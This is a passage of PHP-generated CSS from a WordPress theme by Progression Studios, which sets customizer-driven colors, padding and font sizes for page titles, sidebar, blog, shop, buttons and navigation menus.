background-color:" . esc_attr( get_theme_mod('progression_studios_page_title_bg_color', '#121517') ). ";
$progression_studios_page_title_bg
$progression_studios_page_tite_bg_cover
padding-top:" . esc_attr( get_theme_mod('progression_studios_page_title__postpadding_top', '130') ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_page_title_post_padding_bottom', '125') ). "px;
}
$progression_studios_page_tite_overlay_image_cover
$progression_studios_post_tite_overlay_image_cover
body.single-post #progression-studios-page-title-container {
padding-top:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_top', '180') ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_bottom', '180') ). "px;
}
body.single-portfolio_xion #progression-studios-page-title-container {
padding-top:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_top', '350') ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_bottom', '25') ). "px;
}
.sidebar h4.widget-title { background:" . esc_attr( get_theme_mod('progression_studios_sidebar_heading_bg', '#1d1f22') ). "; }
.sidebar-item { background:" . esc_attr( get_theme_mod('progression_studios_sidebar_widget_bg', '#16171a') ). "; }
.sidebar ul li { border-color:" . esc_attr( get_theme_mod('progression_studios_sidebar_header_border', 'rgba(255,255,255, 0.07)') ). "; }
.sidebar-item.widget_search:after {
color:" . esc_attr( get_theme_mod('progression_studios_sidebar_search', '#1d1f22') ). ";
}
.sidebar-item.widget_search .search-form input.search-field,
.sidebar-item.widget_search {
border-color:" . esc_attr( get_theme_mod('progression_studios_sidebar_search', '#1d1f22') ). ";
background:" . esc_attr( get_theme_mod('progression_studios_sidebar_search', '#1d1f22') ). ";
}
ul.progression-studios-header-social-icons li a {
margin-top:". esc_attr( get_theme_mod('progression_studios_social_icons_margintop', '33') ) . "px;
background:". esc_attr( get_theme_mod('progression_studios_social_icons_bg', 'rgba(255,255,255, 0)') ) . ";
color:". esc_attr( get_theme_mod('progression_studios_social_icons_color', '#787e8a') ) . ";
}
ul.progression-studios-header-social-icons li a i {
position:relative;
top:4px;
}
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a {
color:". esc_attr( get_theme_mod('progression_studios_social_icons_color', '#787e8a') ) . ";
}
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover {
color:". esc_attr( get_theme_mod('progression_studios_social_icons_hover_color', '#ffffff') ) . ";
}
#xion-progression-header-top ul.progression-studios-header-social-icons li a {
background:". esc_attr( get_theme_mod('progression_studios_social_icons_bg', 'rgba(255,255,255, 0)') ) . ";
color:". esc_attr( get_theme_mod('progression_studios_social_icons_color', '#787e8a') ) . ";
}
#xion-progression-header-top ul.progression-studios-header-social-icons li a:hover,
ul.progression-studios-header-social-icons li a:hover {
background:". esc_attr( get_theme_mod('progression_studios_social_icons_hover_bg', 'rgba(255,255,255, 0)') ) . ";
color:". esc_attr( get_theme_mod('progression_studios_social_icons_hover_color', '#ffffff') ) . ";
}
/* START BLOG STYLES */
#page-title-pro.page-title-pro-post-page {
$progression_studios_post_tite_bg_color
$progression_studios_post_tite_bg_image_post
$progression_studios_post_tite_bg_cover
}
.progression-studios-feaured-image,
.comment-body,
.tags-progression-studios,
.progression-blog-content {
border-color:" . esc_attr( get_theme_mod('progression_studios_blog_content_border', '#232930') ) . ";
}
.comment-body:before {
border-right-color:" . esc_attr( get_theme_mod('progression_studios_blog_content_border', '#232930') ) . ";
}
ul.progression-post-meta li a,
h2.progression-blog-title a {color:" . esc_attr( get_theme_mod('progression_studios_blog_title_link', '#ffffff') ) . ";}
ul.progression-post-meta li a:hover,
h2.progression-blog-title a:hover, .progression-blog-content a.more-link {color:" . esc_attr( get_theme_mod('progression_studios_blog_title_link_hover', '#5be592') ) . ";}
.progression-blog-content a.more-link:hover {
border-color:" . esc_attr( get_theme_mod('progression_studios_blog_title_link_hover', '#5be592') ) . ";
}
/* END BLOG STYLES */
/* START PORTFOLIO STYLES */
.progression-portfolio-content,
.progression-studios-portfolio-feaured-image {
border-color:" . esc_attr( get_theme_mod('progression_studios_portfolio_border', '#232930') ) . ";
}
/* END PORTFOLIO STYLES */
/* START SHOP STYLES */
#progression-studios-woocommerce-single-bottom .related.products {
display:" . esc_attr( get_theme_mod('progression_studios_related_products', 'none') ) . ";
}
.related.products h6 {
display:" . esc_attr( get_theme_mod('progression_studios_related_products_sub_title', 'block') ) . ";
}
#content-pro ul.products h2.woocommerce-loop-category__title mark {
display:" . esc_attr( get_theme_mod('progression_studios_category_count', 'none') ) . ";
}
#progression-studios-woocommerce-single-bottom .woocommerce-tabs ul.wc-tabs li.active a {
color:" . esc_attr( get_theme_mod('progression_studios_shop_post_tab_highlight', '#ffffff') ) . ";
}
.progression-studios-shop-index-text {
border-color:" . esc_attr( get_theme_mod('progression_studios_shop_index_brder', '#232930') ) . ";
background:" . esc_attr( get_theme_mod('progression_studios_shop_index_bg', '#03090d') ) . ";
}
#progression-studios-woocommerce-single-bottom .woocommerce-tabs ul.wc-tabs li.active {
border-bottom-color:" . esc_attr( get_theme_mod('progression_studios_shop_post_tab_highlight', '#ffffff') ) . ";
}
#progression-studios-woocommerce-single-bottom .woocommerce-tabs ul.wc-tabs li.active,
#progression-studios-woocommerce-single-bottom {
background:" . esc_attr( get_theme_mod('progression_studios_shop_post_base_background', '#03090d') ) . ";
}
/* END SHOP STYLES */
/* START BUTTON STYLES */
#content-pro .woocommerce table.shop_table .coupon input#coupon_code, #content-pro .woocommerce table.shop_table input, form.checkout.woocommerce-checkout textarea.input-text, form.checkout.woocommerce-checkout input.input-text,
.post-password-form input, .search-form input.search-field, .wpcf7 select, #respond textarea, #respond input, .wpcf7-form input, .wpcf7-form textarea {
background-color:" . esc_attr( get_theme_mod('progression_studios_input_background', 'rgba(255,255,255, 0)') ) . ";
border-color:" . esc_attr( get_theme_mod('progression_studios_input_border', '#cdcece') ) . ";
}
.progression-studios-shop-overlay-buttons a.added_to_cart, .wp-block-button a.wp-block-button__link, .post-password-form input[type=submit], #respond input.submit, .wpcf7-form input.wpcf7-submit,
.infinite-nav-pro a, #boxed-layout-pro .woocommerce .shop_table input.button, #boxed-layout-pro .form-submit input#submit, #boxed-layout-pro #customer_login input.button, #boxed-layout-pro .woocommerce-checkout-payment input.button, #boxed-layout-pro button.button, #boxed-layout-pro a.button {
font-size:" . esc_attr( get_theme_mod('progression_studios_button_font_size', '13') ) . "px;
}
.search-form input.search-field,
.wpcf7 select, .post-password-form input, #respond textarea, #respond input, .wpcf7-form input, .wpcf7-form textarea {
border-radius:" . esc_attr( get_theme_mod('progression_studios_ionput_bordr_radius', '0') ) . "px;
}
#helpmeeout-login-form:before {
border-bottom: 8px solid " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
.wp-block-button.is-style-outline a.wp-block-button__link {
border-color: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
color: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
body .wpd-av {
border-color: " . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . ";
}
body .wpd-av button.yes {
background-color: " . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . ";
color: " . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . ";
}
.tags-progression-studios a:hover,
body .wpd-av button.yes:hover {
background-color: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
color: " . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . ";
}
.wp-block-button.is-style-outline a.wp-block-button__link:hover {
background: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
ul.portfolio-category-single li a,
ul.portfolio-category-index li a,
.blog-meta-category-list a:hover, .blog-single-category-display a:hover,
.progression-page-nav a:hover, .progression-page-nav span, #content-pro ul.page-numbers li a:hover, #content-pro ul.page-numbers li span.current {
color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . ";
background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
.progression-page-nav a:hover span {
color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . ";
}
.flex-direction-nav a:hover, #boxed-layout-pro .woocommerce-shop-single .summary button.button,
#boxed-layout-pro .woocommerce-shop-single .summary a.button {
color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . ";
background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
.progression-sticky-scrolled header#masthead-pro #progression-checkout-basket a.cart-button-header-cart, #progression-checkout-basket a.cart-button-header-cart, .progression-studios-shop-overlay-buttons a.added_to_cart, .infinite-nav-pro a, .wp-block-button a.wp-block-button__link, .woocommerce form input.button, .woocommerce form input.woocommerce-Button, button.wpneo_donate_button, .sidebar ul.progression-studios-social-widget li a, body .woocommerce nav.woocommerce-MyAccount-navigation li.is-active a, .post-password-form input[type=submit], #respond input.submit, .wpcf7-form input.wpcf7-submit, #boxed-layout-pro .woocommerce .shop_table input.button, #boxed-layout-pro .form-submit input#submit, #boxed-layout-pro #customer_login input.button, #boxed-layout-pro .woocommerce-checkout-payment input.button, #boxed-layout-pro button.button, #boxed-layout-pro a.button {
color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . ";
background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
border-radius:" . esc_attr( get_theme_mod('progression_studios_button_bordr_radius', '3') ) . "px;
letter-spacing:" . esc_attr( get_theme_mod('progression_studios_button_letter_spacing', '0.04') ) . "em;
}
.tagcloud a {
border-radius:" . esc_attr( get_theme_mod('progression_studios_button_bordr_radius', '3') ) . "px;
}
.mc4wp-form input[type='submit']:hover,
.tagcloud a {
color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . ";
background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
.mobile-menu-icon-pro span.progression-mobile-menu-text,
#boxed-layout-pro .woocommerce-shop-single .summary button.button,
#boxed-layout-pro .woocommerce-shop-single .summary a.button {
letter-spacing:" . esc_attr( get_theme_mod('progression_studios_button_letter_spacing', '0.04') ) . "em;
}
body .woocommerce nav.woocommerce-MyAccount-navigation li.is-active a { border-radius:0px; }
#respond select:focus,
body #content-pro .width-container-pro .woocommerce textarea:focus, body #content-pro .width-container-pro .woocommerce .shop_table input#coupon_code:focus[type=text], body #content-pro .width-container-pro .woocommerce input:focus[type=text], body #content-pro .width-container-pro .woocommerce input:focus[type=password], body #content-pro .width-container-pro .woocommerce input:focus[type=url], body #content-pro .width-container-pro .woocommerce input:focus[type=tel],body #content-pro .width-container-pro .woocommerce input:focus[type=number], body #content-pro .width-container-pro .woocommerce input:focus[type=color], body #content-pro .width-container-pro .woocommerce input:focus[type=email],
#progression-studios-woocommerce-single-top table.variations td.value select:focus,
.woocommerce-page form.woocommerce-ordering select:focus,
#panel-search-progression .search-form input.search-field:focus, body .woocommerce-shop-single table.variations td.value select:focus, form#mc-embedded-subscribe-form .mc-field-group input:focus, .wpcf7-form select:focus, .post-password-form input:focus, .search-form input.search-field:focus, #respond textarea:focus, #respond input:focus, .wpcf7-form input:focus, .wpcf7-form textarea:focus,
.widget.widget_price_filter form .price_slider_wrapper .price_slider .ui-slider-handle {
border-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
outline:none;
}
#progression-studios-woocommerce-single-top .quantity input:focus, .mc4wp-form input:focus, .widget select:focus {
border-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
outline:none;
}
.rtl blockquote, blockquote, blockquote.alignleft, blockquote.alignright {
border-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
body .woocommerce .woocommerce-MyAccount-content {
border-left-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
.widget.widget_price_filter form .price_slider_wrapper .price_slider .ui-slider-range {
background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . ";
}
body #progression-studios-woocommerce-single-top span.onsale:before, #boxed-layout-pro ul.products li.product span.onsale:before {
color:" . esc_attr( get_theme_mod('progression_studios_button_font_hover', '#03090d') ) . ";
background:" . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . ";
}
.tagcloud a:hover,
.blog-single-category-display a, ul.portfolio-category-index li a:hover, ul.portfolio-category-single li a:hover, a.progression-portfolio-button:hover,
.blog-meta-category-list a, .mc4wp-form input[type='submit'],
.progression-studios-shop-overlay-buttons a.added_to_cart:hover, .infinite-nav-pro a:hover, .wp-block-button a.wp-block-button__link:hover, .woocommerce form input.button:hover, .woocommerce form input.woocommerce-Button:hover, #boxed-layout-pro .woocommerce-shop-single .summary button.button:hover, #boxed-layout-pro .woocommerce-shop-single .summary a.button:hover, .progression-studios-blog-cat-overlay a, .progression-studios-blog-cat-overlay a:hover, .sidebar ul.progression-studios-social-widget li a:hover, #boxed-layout-pro .woocommerce .shop_table input.button:hover, #boxed-layout-pro .form-submit input#submit:hover, #boxed-layout-pro #customer_login input.button:hover, #boxed-layout-pro .woocommerce-checkout-payment input.button:hover, #boxed-layout-pro button.button:hover, #boxed-layout-pro a.button:hover, .post-password-form input[type=submit]:hover, #respond input.submit:hover, .wpcf7-form input.wpcf7-submit:hover {
color:" . esc_attr( get_theme_mod('progression_studios_button_font_hover', '#03090d') ) . ";
background:" . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . ";
}
.sidebar .star-rating, .sidebar .star-rating:before, .comment-form-rating .stars a, .comment-form-rating .stars a:before, .commentlist .star-rating, .commentlist .star-rating:before, #progression-studios-woocommerce-single-top .star-rating, #progression-studios-woocommerce-single-top .star-rating:before, #content-pro ul.products .star-rating, #content-pro ul.products .star-rating:before {
color:" . esc_attr( get_theme_mod('progression_studios_star_rating', '#909395') ) . ";
}
.sidebar .star-rating:before,
.commentlist .star-rating:before,
#progression-studios-woocommerce-single-top .star-rating:before,
#content-pro ul.products .star-rating:before {
color:" . esc_attr( get_theme_mod('progression_studios_star_rating', '#909395') ) . ";
}
.highlight-pro:before {
background:" . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . ";
}
/* END BUTTON STYLES */
/* START Sticky Nav Styles */
body.single-post .progression-sticky-scrolled header#masthead-pro, .progression-sticky-scrolled header#masthead-pro, .progression-studios-transparent-header .progression-sticky-scrolled header#masthead-pro { background-color:" . esc_attr( get_theme_mod('progression_studios_sticky_header_background_color', '#1d1f22') ) ."; }
body .progression-sticky-scrolled #logo-pro img {
$progression_studios_sticky_logo_width
$progression_studios_sticky_logo_top
$progression_studios_sticky_logo_bottom
}
$progression_studios_sticky_nav_padding
$progression_studios_sticky_nav_option_font_color
$progression_studios_optional_sticky_nav_font_hover
$progression_studios_sticky_nav_underline
/* END Sticky Nav Styles */
/* START Main Navigation Customizer Styles */
.progression-header-phone-number {
color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). ";
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 2 ). "px;
padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 7 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 8 ). "px;
}
.progression-header-phone-number i {
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 5 ). "px;
}
#progression-shopping-cart-count a.progression-count-icon-nav, nav#site-navigation { letter-spacing: ". esc_attr( get_theme_mod('progression_studios_nav_letterspacing', '0.04') ). "em; }
#progression-header-icons-inline-display ul.progression-studios-header-social-icons li a {
padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 8 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 7 ). "px;
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 5 ). "px;
}
.mobile-menu-icon-pro {
min-width:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 6 ). "px;
color:". esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ) . ";
padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 3 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 5 ). "px;
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 6 ). "px;
}
.mobile-menu-icon-pro:hover {
color:". esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ) . ";
}
.active-mobile-icon-pro .mobile-menu-icon-pro {
color:" . esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ). ";
}
.mobile-menu-icon-pro span.progression-mobile-menu-text {
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') ). "px;
}
#progression-shopping-cart-count span.progression-cart-count {
top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 1). "px;
}
#progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon {
color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). ";
padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 5 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 5 ). "px;
height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 10 ). "px;
line-height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 10 ). "px;
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 10 ). "px;
}
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon {
color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). ";
}
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover, .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, #progression-shopping-cart-count a.progression-count-icon-nav:hover .shopping-cart-header-icon {
color:". esc_attr( get_theme_mod('progression_studios_nav_font_color_hover', '#ffffff') ) . ";
}
#progression-studios-header-search-icon .progression-icon-search {
color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). ";
padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 4 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 4 ). "px;
height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 8 ). "px;
line-height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 8 ). "px;
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 8 ). "px;
}
nav#site-navigation {
padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '54') ). "px;
}
.sf-menu a {
color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). ";
margin-top:-" . esc_attr( get_theme_mod('progression_studios_nav_padding', '54') ). "px;
padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') ). "px;
font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') ). "px;
$progression_studios_optional_nav_bg
}
.sf-menu li li a {
margin-top:auto;
}
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a {
color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). ";
}
$progression_studios_sticky_nav_underline_default
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container:hover a.progresion-studios-login-icon,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container.helpmeout-activated-class a.progresion-studios-login-icon,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav:hover,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:hover,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container:hover a.progresion-studios-login-icon,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container.helpmeout-activated-class a.progresion-studios-login-icon,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav:hover,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:hover,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a,
#progression-studios-header-login-container:hover a.progresion-studios-login-icon, #progression-studios-header-login-container.helpmeout-activated-class a.progresion-studios-login-icon,
#progression-studios-header-search-icon:hover .progression-icon-search, #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, #progression-inline-icons .progression-studios-social-icons a:hover, #progression-shopping-cart-count a.progression-count-icon-nav:hover, .sf-menu a:hover, .sf-menu li.sfHover a, .sf-menu li.current-menu-item a {
color:". esc_attr( get_theme_mod('progression_studios_nav_font_color_hover', '#ffffff') ) . ";
}
ul#progression-studios-panel-login, #progression-checkout-basket, #panel-search-progression, .sf-menu ul {
background:". esc_attr( get_theme_mod('progression_studios_sub_nav_bg', '#46494f') ). ";
}
body #progression-checkout-basket:after,
body #panel-search-progression:after,
.sf-menu ul:after {
border-bottom-color:". esc_attr( get_theme_mod('progression_studios_sub_nav_bg', '#46494f') ). ";
}
$progression_studios_top_header_sub_nav_brder_top
$progression_studios_sub_nav_brder_top
#main-nav-mobile { background:". esc_attr( get_theme_mod('progression_studios_sub_nav_bg', '#46494f') ). "; }
ul.mobile-menu-pro li a { color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_font_color', 'rgba(255,255,255, 0.8)') ) . "; }
ul.mobile-menu-pro li a {
letter-spacing:". esc_attr( get_theme_mod('progression_studios_sub_nav_letterspacing', '0') ). "em;
}
ul.mobile-menu-pro .sf-mega h2.mega-menu-heading,
body #progression-sticky-header header ul.mobile-menu-pro h2.mega-menu-heading a,
ul.mobile-menu-pro .sf-mega h2.mega-menu-heading a, ul.mobile-menu-pro .sf-mega h2.mega-menu-heading,
body #progression-sticky-header header ul.mobile-menu-pro h2.mega-menu-heading a,
body header ul.mobile-menu-pro .sf-mega h2.mega-menu-heading a {
color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_font_color', 'rgba(255,255,255, 0.8)') ) . ";
}
ul#progression-studios-panel-login li a, .sf-menu li li a {
letter-spacing:". esc_attr( get_theme_mod('progression_studios_sub_nav_letterspacing', '0') ). "em;
font-size:". esc_attr( get_theme_mod('progression_studios_sub_nav_font_size', '13') ). "px;
}
ul#progression-studios-panel-login, #panel-search-progression input, #progression-checkout-basket ul#progression-cart-small li.empty {
font-size:". esc_attr( get_theme_mod('progression_studios_sub_nav_font_size', '13' ) ). "px;
}
ul#progression-studios-panel-login a,
.progression-sticky-scrolled #progression-checkout-basket, .progression-sticky-scrolled #progression-checkout-basket a, .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover.highlight-button li a, .sf-menu li.current-menu-item.highlight-button li a, .progression-sticky-scrolled #progression-checkout-basket a.checkout-button-header-cart:hover, #progression-checkout-basket a.checkout-button-header-cart:hover, #progression-checkout-basket, #progression-checkout-basket a, .sf-menu li.sfHover li a, .sf-menu li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a {
color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_font_color', 'rgba(255,255,255, 0.8)') ) . ";
}
.sf-menu li li .progression-studios-menu-title:before { background:" . esc_attr( get_theme_mod('progression_studios_sub_nav_hover_bullet', '#ffffff') ) . "; }
.progression-sticky-scrolled ul#progression-studios-panel-login li a:hover, .progression-sticky-scrolled .sf-menu li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression-sticky-scrolled .sf-menu li.current-menu-item li a, .sf-menu li.sfHover li a, .sf-menu li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a {
background:none;
}
